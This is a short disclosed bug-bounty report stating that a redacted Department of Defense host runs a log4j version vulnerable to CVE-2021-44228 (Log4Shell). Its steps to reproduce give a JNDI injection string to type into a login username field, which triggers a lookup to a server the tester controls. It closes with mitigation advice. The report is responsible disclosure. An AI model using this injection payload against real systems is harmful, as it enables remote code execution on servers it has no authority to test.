██████████ running a vulnerable log4j

Disclosed: 2022-01-19 19:33:44 By alex_gaynor To deptofdefense
Critical
Vulnerability Details
**Description:** https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 ## Impact Probably arbitrary code execution ## System Host(s) ████████ ## Affected Product(s) and Version(s) ## CVE Numbers CVE-2021-44228 ## Steps to Reproduce 1. Browse to https://████████/███████https%3A%2F%2F█████████%2F 2. Enter a `${jndi:ldap://dns-server-yoi-control/a}` into the username field 3. Enter a random password 4. Submit Observe that a request was made to your DNS server. This strongly suggests a vulnerable log4j. ## Suggested Mitigation/Remediation Actions Update log4j or disable jndi support.
Actions
View on HackerOne
Report Stats
  • Report ID: 1423496
  • State: Closed
  • Substate: resolved
  • Upvotes: 4
Share this report